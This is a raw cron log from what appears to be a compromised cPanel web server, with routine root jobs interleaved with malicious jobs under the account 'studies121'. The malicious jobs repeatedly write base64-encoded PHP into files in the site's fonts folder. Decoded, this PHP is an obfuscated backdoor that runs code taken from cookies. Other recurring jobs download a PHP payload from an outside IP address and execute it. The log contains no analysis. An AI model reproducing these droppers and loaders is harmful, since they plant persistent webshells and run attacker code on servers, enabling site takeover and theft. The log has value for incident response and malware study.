Sep  1 18:41:01 ip-184-168-122-23 CROND[6632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:41:01 ip-184-168-122-23 CROND[6634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:41:01 ip-184-168-122-23 CROND[6633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:42:01 ip-184-168-122-23 CROND[6714]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:42:01 ip-184-168-122-23 CROND[6717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:42:01 ip-184-168-122-23 CROND[6720]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:42:01 ip-184-168-122-23 CROND[6721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:42:01 ip-184-168-122-23 CROND[6722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:43:01 ip-184-168-122-23 CROND[6844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:43:01 ip-184-168-122-23 CROND[6842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:43:01 ip-184-168-122-23 CROND[6843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:43:01 ip-184-168-122-23 CROND[6846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:44:01 ip-184-168-122-23 CROND[6941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:44:01 ip-184-168-122-23 CROND[6943]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:44:01 ip-184-168-122-23 CROND[6945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:44:01 ip-184-168-122-23 CROND[6946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:44:01 ip-184-168-122-23 CROND[6944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:45:01 ip-184-168-122-23 CROND[7175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:45:01 ip-184-168-122-23 CROND[7177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:45:01 ip-184-168-122-23 CROND[7178]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:45:01 ip-184-168-122-23 CROND[7181]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:45:01 ip-184-168-122-23 CROND[7182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:45:01 ip-184-168-122-23 CROND[7185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:46:01 ip-184-168-122-23 CROND[7315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:46:01 ip-184-168-122-23 CROND[7319]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:46:01 ip-184-168-122-23 CROND[7317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:46:01 ip-184-168-122-23 CROND[7318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:46:01 ip-184-168-122-23 CROND[7321]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 18:46:01 ip-184-168-122-23 CROND[7320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:46:01 ip-184-168-122-23 CROND[7322]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 18:47:01 ip-184-168-122-23 CROND[7476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:47:01 ip-184-168-122-23 CROND[7478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:47:01 ip-184-168-122-23 CROND[7479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:47:01 ip-184-168-122-23 CROND[7480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:48:01 ip-184-168-122-23 CROND[7893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:48:01 ip-184-168-122-23 CROND[7894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:48:01 ip-184-168-122-23 CROND[7897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:48:01 ip-184-168-122-23 CROND[7900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:48:01 ip-184-168-122-23 CROND[7901]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:49:02 ip-184-168-122-23 CROND[8364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:49:02 ip-184-168-122-23 CROND[8368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:49:02 ip-184-168-122-23 CROND[8367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:49:02 ip-184-168-122-23 CROND[8366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:50:01 ip-184-168-122-23 CROND[8575]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 18:50:01 ip-184-168-122-23 CROND[8578]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 18:50:01 ip-184-168-122-23 CROND[8580]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:50:01 ip-184-168-122-23 CROND[8584]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:50:01 ip-184-168-122-23 CROND[8585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:50:01 ip-184-168-122-23 CROND[8583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:50:01 ip-184-168-122-23 CROND[8587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:50:01 ip-184-168-122-23 CROND[8588]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:50:01 ip-184-168-122-23 CROND[8586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:51:01 ip-184-168-122-23 CROND[8822]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:51:01 ip-184-168-122-23 CROND[8825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:51:01 ip-184-168-122-23 CROND[8823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:51:01 ip-184-168-122-23 CROND[8824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:52:01 ip-184-168-122-23 CROND[8906]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:52:01 ip-184-168-122-23 CROND[8908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:52:01 ip-184-168-122-23 CROND[8911]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:52:01 ip-184-168-122-23 CROND[8909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:52:01 ip-184-168-122-23 CROND[8910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:53:01 ip-184-168-122-23 CROND[8990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:53:01 ip-184-168-122-23 CROND[8992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
